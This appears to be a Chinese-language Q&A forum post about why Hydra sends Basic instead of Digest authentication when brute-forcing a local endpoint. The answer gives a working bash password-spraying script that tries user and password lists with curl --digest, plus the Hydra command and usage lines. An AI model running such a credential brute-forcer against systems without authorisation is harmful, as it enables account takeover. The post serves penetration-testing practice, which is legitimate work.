使用 Hydra 暴力破解 http 摘要

问题描述

我在使用 Hydra 强制执行 HTTP 摘要表单时遇到了一些麻烦。我正在使用以下命令,但是当通过 burp suite hydra 代理时,我可以看到 hydra 使用的是基本身份验证而不是摘要

如何让 hydra 使用正确的身份验证类型?

命令: hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -vV http-get /digest

在代理中看到的请求:

GET /digest HTTP/1.1
Host: 127.0.0.1
Connection: close
Authorization: Basic YWRtaW46aWxvdmV5b3U=
User-Agent: Mozilla/4.0 (Hydra)

解决方法

我研究过这个案例,如果digest方法是在Nginx或apache服务器级别实现的,hydra可能会工作。但是如果认证是在Flask、Expressjs、Django等应用服务器上实现的,就完全不行了

您可以创建用于密码喷射的 bash 脚本

#!/bin/bash

cat $1 | while read USER; do
        cat $2 | while read PASSWORD; do
                if curl -s $3 -c /tmp/cookie --digest -u $USER:$PASSWORD | grep -qi "unauth"
                then 
                        continue
                else
                        echo [+] Found $USER:$PASSWORD
                        exit 0
                fi
        done
done

将此文件另存为 app.sh

$ chmod +x app.sh
$ ./app.sh /path/to/users.txt /path/to/passwords.txt http://example.com/path